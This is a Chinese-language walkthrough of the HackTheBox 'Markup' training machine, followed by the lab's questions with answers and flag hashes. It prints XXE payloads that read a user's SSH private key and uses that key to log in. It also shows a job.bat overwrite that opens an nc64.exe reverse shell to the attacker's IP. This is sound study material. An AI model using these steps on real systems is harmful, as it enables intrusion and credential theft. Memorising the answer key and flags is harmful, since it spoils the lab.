HackTheBox-Starting Point--Tier 2---Markup

文章目录

  • [一 Markup测试过程](#一 Markup测试过程)
    • [1.1 打点](#1.1 打点)
    • [1.2 权限获取](#1.2 权限获取)
    • [1.3 权限升级](#1.3 权限升级)
  • [二 题目](#二 题目)

一 Markup测试过程


1.1 打点

**  1.端口扫描**

c 复制代码
nmap -A -Pn -sC 10.129.95.192

**  2.访问web网站,登录口爆破发现存在弱口令admin:password**

**  3.抓包,发现请求体是XML格式
**

**  4.尝试使用XXE漏洞file协议读取文件**

xml 复制代码
<?xml version = "1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<item>&xxe;</item>

1.2 权限获取


**  1.在网页源代码中,发现存在用户名 Daniel**

**  2.假定 Daniel 是真实存在的用户,尝试检索Daniel用户的ssh私钥**

xml 复制代码
<?xml version = "1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/users/daniel/.ssh/id_rsa" >]>
<item>&xxe;</item>

**  3.获取到RSA私钥,接下来就使用RSA私钥尝试登录**

bash 复制代码
# 将XXE漏洞获取到的ssh 私钥复制进id_rsa中,并赋400权限
vi id_rsa
chmod 400 id_rsa
ssh -i id_rsa Daniel@10.129.95.192

1.3 权限升级


**  1.查看当前用户的安全特权**

bash 复制代码
whoami /priv

**  daniel用户拥有SeChangeNotifyPrivilegeSeIncreaseWorkingSetPrivilege权限,暂无可利用点。**

**  2.查看是否存在敏感文件**

**  在Log-Management文件夹下发现 job.bat 文件**

cd Log-Management
dir
type job.bat

**  job.bat主要用来清除日志,并且必须是管理员用户才可以执行。并且有一个wevtutil.exe可执行文件。**

bash 复制代码
# icacls命令,可以对特定文件或文件夹设置访问权限、修改权限、查看权限等操作
icacls job.bat

**  但是job.bat只能由管理员用户执行,目前是Daniel用户权限,无法利用。
  那用户组是否对 job.bat 有其他的操作权限。
  从输出可以看出,组BUTLTIN\Users 对 bat.job 文件具有完全控制权限,BUILTIN\Users 组表示所有本地用户,肯定也就包含 Daniel 用户。所以只要能操控bat.job就可以运行我门的反弹shell。**

**  3.检查job.bat文件中提到的wevtutil进程是否正在运行**

**  在job.bat中,wevtutil.exe进程是作为计划任务定期去检索相关信息并执行操作。如何wevtutil.exe进程正在运行的话,我门就可以利用job.bat进行计划任务反弹shell了。**

bash 复制代码
schtasks

**  4.将nc.exe上传到\Log-Management目录**

bash 复制代码
# 攻击机器开启httpweb
python3 -m http.server 8080
bash 复制代码
wget http://10.10.14.35:8080/nc64.exe -outfile nc64.exe
dir

**  5.执行反弹shell**

bash 复制代码
# 攻击机执行监听
ncat -lnvp 4444

**  我们对该二进制文件job.bat具有完全访问权限,这意味着我们可以修改job.bat文件并插入任何我们构造好的payload。我们可以使用nc64.exe,借此更改.bat文件以生成一个反向shell。**

bash 复制代码
echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.14.35 4444 > C:\Log-Management\job.bat 

**  6.查看root flag**


二 题目


++Tags++

c 复制代码
Web、Injection、Apache、SSH、PHP、Reconnaissance、Scheduled Job Abuse、Weak Credentials、Arbitrary File Upload、XXE Injection、Weak Permissions

译文:Web、注入、Apache、SSH、PHP、侦察、计划任务滥用、弱凭据、任意文件上传、XXE注入、弱权限

++Connect++

c 复制代码
To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.

译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。

++SPAWN MACHINE++

c 复制代码
Spawn the target machine and the IP will show here.

译文:生成目标机器,IP 将显示在此处

++TASK 1++

c 复制代码
What version of Apache is running on the target's port 80?

译文:目标 80 端口上运行的Apache哪个版本?

答:2.4.41

++TASK 2++

c 复制代码
What username:password combination logs in successfully?

译文:什么用户名:密码组合登录成功?

答:admin:password

++TASK 3++

c 复制代码
What is the word at the top of the page that accepts user input?

译文:页面顶部接受用户输入的单词是什么?

答:order

++TASK 4++

c 复制代码
What XML version is used on the target? 

译文:目标使用什么 XML 版本?

答:1.0

++TASK 5++

c 复制代码
What does the XXE / XEE attack acronym stand for? 

译文:XXE / XEE攻击首字母缩略词代表什么?

答:XML External Entity

++TASK 6++

c 复制代码
What username can we find on the webpage's HTML code?

译文:我们可以在网页的 HTML 代码上找到什么用户名?

答:daniel

++TASK 7++

c 复制代码
What is the file located in the Log-Management folder on the target?

译文:目标上的 Log-Management 文件夹中的文件是什么?

答:job.bat

++TASK 8++

c 复制代码
What executable is mentioned in the file mentioned before?

译文:前面提到的文件中提到了什么可执行文件?

答:wevtutil.exe

++SUBMIT FLAG++

c 复制代码
Submit user flag

译文:用户flag

答:032d2fc8952a8c24e39c8f0ee9918ef7  

++SUBMIT FLAG++

c 复制代码
Submit root flag

译文:提交root flag

答:f574a3e7650cebd8c39784299cb570f8

相关推荐
0415i23 天前
Hack The Box-Blurry
pickle·提权·rce·hack the box·clearml·cve-2024-24590
七天啊1 个月前
HackTheBox-Machines--Cronos
sql注入·命令执行·hack the box·计划任务写入shell提权
七天啊3 个月前
HackTheBox-Machines--Legacy
ms08-067·hack the box
Z3r4y7 个月前
【心得】XXE漏洞利用个人笔记
笔记·安全·web安全·web·ctf·xxe
kali-Myon8 个月前
Pikachu漏洞练习平台之XXE(XML外部实体注入)
xml·开发语言·web安全·xxe·dtd
七天啊8 个月前
HackTheBox-Starting Point--Tier 2---Unified
mongodb·hack the box·jndi注入·cve-2021-44228
七天啊8 个月前
HackTheBox-Starting Point--Tier 2---Base
文件上传漏洞·反弹shell·hack the box·find命令
七天啊8 个月前
HackTheBox-Starting Point--Tier 1---Funnel
postgresql·hack the box·ssh隧道
Hillain9 个月前
CTF网络安全题目个人导航【持续更新】
安全·网络安全·xxe·sql注入·反序列化·rce·伪协议